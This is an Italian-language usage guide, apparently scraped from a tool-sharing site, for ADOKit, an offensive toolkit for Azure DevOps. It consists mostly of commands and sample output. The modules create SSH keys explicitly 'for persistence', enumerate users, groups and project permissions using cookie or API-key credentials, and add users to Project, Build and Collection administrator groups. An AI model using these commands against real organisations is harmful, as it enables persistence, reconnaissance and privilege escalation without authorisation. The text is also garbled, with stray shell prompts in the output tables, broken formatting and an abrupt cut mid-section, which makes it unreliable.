Creare una chiave SSH per un utente che può essere utilizzata per la persistenza verso un'istanza di Azure DevOps.

Sintassi

Fornire il modulo createsshkey, insieme a qualsiasi informazione di autenticazione pertinente e all'URL. Inoltre, fornire la propria chiave pubblica SSH nell'argomento /sshkey:. Questo produrrà l'ID della chiave SSH, il nome, l'ambito, la data di validità e gli ultimi 20 caratteri della chiave pubblica SSH per la chiave SSH creata. Il nome della chiave SSH creata sarà ADOKit- seguito da una stringa casuale di 8 caratteri. La data di scadenza della chiave SSH sarà di 1 anno dalla data di creazione, poiché è il massimo consentito da Azure DevOps.

ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"

Esempio di Output```

C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"

================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 2:51:22 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 |                       ADOKit-iCBfYfFR |                      app_token |           4/3/2024 12:00:00 AM |   ...hOLNYMk5LkbLRMG36RE=

4/3/23 18:51:24 Finished execution of createsshkey

root@kitploit:~
### Elenca le chiavi SSH

#### Caso d'uso

> *Elenca tutte le chiavi SSH pubbliche per un dato utente in un'istanza di Azure DevOps.*

#### Sintassi

Fornisci il modulo `listsshkey`, insieme a tutte le informazioni di autenticazione rilevanti e all'URL. Questo restituirà l'ID della chiave SSH, il nome, l'ambito e la data di validità per tutte le chiavi SSH attive dell'utente. Inoltre, stamperà gli ultimi 20 caratteri della chiave SSH pubblica.

`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Esempio di output```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listsshkey
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 11:37:10 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                              SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

Rimuovi Chiave SSH

Caso d'Uso

Rimuove una chiave SSH per un determinato utente in un'istanza di Azure DevOps.

Sintassi

Fornisci il modulo removesshkey, insieme a qualsiasi informazione di autenticazione pertinente e l'URL. Inoltre, fornisci l'ID della chiave SSH nell'argomento /id:. Questo indicherà se la chiave SSH è stata rimossa o meno, e poi elencherà le chiavi SSH attualmente attive per l'utente dopo aver eseguito la rimozione.

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

Output di Esempio```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### Elenca Utenti

#### Caso d'Uso

> *Elenca gli utenti all'interno di un'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `listuser`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome utente, il nome visualizzato e il nome dell'entità utente.

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Output di Esempio```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

Cerca Utente

Caso d'Uso

Cerca uno o più utenti nell'istanza di Azure DevOps

Sintassi

Fornisci il modulo searchuser e i criteri di ricerca nell'argomento da riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Questo restituirà il nome utente, il nome visualizzato e il nome principale dell'utente corrispondenti.

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

Output di Esempio```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### Elenca Team

#### Caso d'uso

> *Elenca i team all'interno di un'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `listteam`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome del team, il nome del progetto e la descrizione del team.

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### Output di esempio```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

Ricerca Team

Caso d'Uso

Cerca uno o più team specifici nell'istanza di Azure DevOps

Sintassi

Fornisci il modulo searchteam e i criteri di ricerca nell'argomento della riga di comando /search:, insieme alle informazioni di autenticazione e all'URL pertinenti. Verranno restituiti il nome del team, il nome del progetto e la descrizione del team.

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

Esempio di Output```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### Ottieni Membri del Team

#### Caso d'Uso

> *Ottieni i membri del team per un dato team*

#### Sintassi

Fornisci il modulo `getteammembers` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme a tutte le informazioni di autenticazione pertinenti e all'URL. Questo restituirà il nome del team, il nome utente del membro del team e il nome visualizzato del membro del team.

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### Output di Esempio```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

Elenco Gruppi

Caso d'uso

Elenca i gruppi all'interno di un'istanza di Azure DevOps

Sintassi

Fornire il modulo listgroup, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione del gruppo.

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

Output di esempio```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Gruppi di ricerca

#### Caso d'uso

> *Cerca un gruppo specifico (o gruppi) nell'istanza di Azure DevOps*

#### Sintassi

Fornisci il modulo `searchgroup` e i criteri di ricerca nell'argomento da riga di comando `/search:`, insieme alle informazioni di autenticazione rilevanti e all'URL. Questo restituirà il nome principale dell'utente (UPN), il nome visualizzato e la descrizione per il gruppo corrispondente.

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Output di esempio```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

Ottieni Membri del Gruppo

Caso d'Uso

Elenca tutti i membri del gruppo per un determinato gruppo

Sintassi

Fornisci il modulo getgroupmembers e il/i gruppo/i che desideri cercare nell'argomento della riga di comando /group:, insieme a tutte le informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente del gruppo corrispondente, insieme a ciascun membro del gruppo, inclusi l'indirizzo email e il nome visualizzato dell'utente.

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

Output di Esempio```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### Ottieni Permessi del Progetto

#### Caso d'uso

> *Ottieni un elenco di chi ha i permessi per un determinato progetto.*

#### Sintassi

Fornisci il modulo `getpermissions` e il progetto che desideri cercare nell'argomento della riga di comando `/project:`, insieme a eventuali informazioni di autenticazione e URL pertinenti. Questo restituirà il nome principale dell'utente, il nome visualizzato e la descrizione per il gruppo corrispondente. Inoltre, restituirà i membri del gruppo per ciascuno di tali gruppi.

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### Esempio di Output```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

Aggiungi Amministratore Progetto

Caso d'Uso

Aggiungi un utente al gruppo Project Administrators per un dato progetto.

Sintassi

Fornisci il modulo addprojectadmin insieme a /project: e /user: per un dato utente da aggiungere al gruppo Project Administrators per il progetto specificato. Inoltre, fornisci qualsiasi informazione di autenticazione e URL pertinenti. Vedi Tabella dei Dettagli del Modulo per le autorizzazioni necessarie per eseguire questa azione.

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Output di Esempio```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### Rimuovi Amministratore di Progetto

#### Caso d'Uso

> *Rimuovere un utente dal gruppo Amministratori di Progetto per un determinato progetto.*

#### Sintassi

Fornisci il modulo `removeprojectadmin` insieme a `/project:` e `/user:` per un determinato utente da rimuovere dal gruppo `Amministratori di Progetto` per il progetto specificato. Inoltre, fornisci eventuali informazioni di autenticazione pertinenti e l'URL. Consulta la [Tabella dei Dettagli dei Moduli](#module-details-table) per i permessi necessari per eseguire questa azione.

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Output di Esempio```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

Aggiungi Amministratore Build

Caso d'uso

Aggiungi un utente al gruppo Build Administrators per un dato progetto.

Sintassi

Fornisci il modulo addbuildadmin insieme a /project: e /user: per l'utente da aggiungere al gruppo Build Administrators del progetto specificato. Inoltre, fornisci le pertinenti informazioni di autenticazione e l'URL. Consulta la Tabella dei dettagli dei moduli per i permessi necessari per eseguire questa azione.

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

Esempio di Output```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### Rimuovi Amministratore Build

#### Caso d'Uso

> *Rimuovere un utente dal gruppo Build Administrators per un dato progetto.*

#### Sintassi

Fornire il modulo `removebuildadmin` insieme a `/project:` e `/user:` per un dato utente da rimuovere dal gruppo `Build Administrators` per il progetto specificato. Inoltre, fornire insieme eventuali informazioni di autenticazione pertinenti e l'URL. Vedi [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### Output di Esempio```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

Aggiungi Amministratore della Raccolta

Caso d'Uso

Aggiungi un utente al gruppo Amministratori della Raccolta di Progetto.

Sintassi

Fornisci il modulo addcollectionadmin insieme a /user: per un determinato utente da aggiungere al gruppo Project Collection Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione e URL rilevanti. Vedi Tabella dei Dettagli del Modulo per i permessi necessari per eseguire questa azione.

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Output di Esempio```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Rimuovi Amministratore di Raccolta

#### Caso d'Uso

> *Rimuovere un utente dal gruppo Amministratori della Raccolta di Progetto.*

#### Sintassi

Fornire il modulo `removecollectionadmin` insieme a `/user:` per un determinato utente da rimuovere dal gruppo `Project Collection Administrators`. Inoltre, fornire le informazioni di autenticazione rilevanti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Output di Esempio```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

Add Collection Build Admin

Caso d'Uso

Aggiungi un utente al gruppo Project Collection Build Administrators.

Sintassi

Fornisci il modulo addcollectionbuildadmin insieme a un /user: per un dato utente da aggiungere al gruppo Project Collection Build Administrators. Inoltre, fornisci qualsiasi informazione di autenticazione pertinente e URL. Vedi Tabella dei dettagli del modulo per le autorizzazioni necessarie per eseguire questa azione.

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

Esempio di Output```

C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### Remove Collection Build Admin

#### Caso d'Uso

> *Rimuove un utente dal gruppo 'Project Collection Build Administrators'.*

#### Sintassi

Fornire il modulo `removecollectionbuildadmin` insieme a un `/user:` per un dato utente da rimuovere dal gruppo `Project Collection Build Administrators`. Inoltre, fornire le informazioni di autenticazione pertinenti e l'URL. Consultare la [Tabella dei Dettagli del Modulo](#module-details-table) per le autorizzazioni necessarie per eseguire questa azione.

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### Esempio di Output```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

Aggiungi Account del Servizio di Build della Raccolta

Caso d'Uso

Aggiungi un utente al gruppo Project Collection Build Service Accounts.

Sintassi

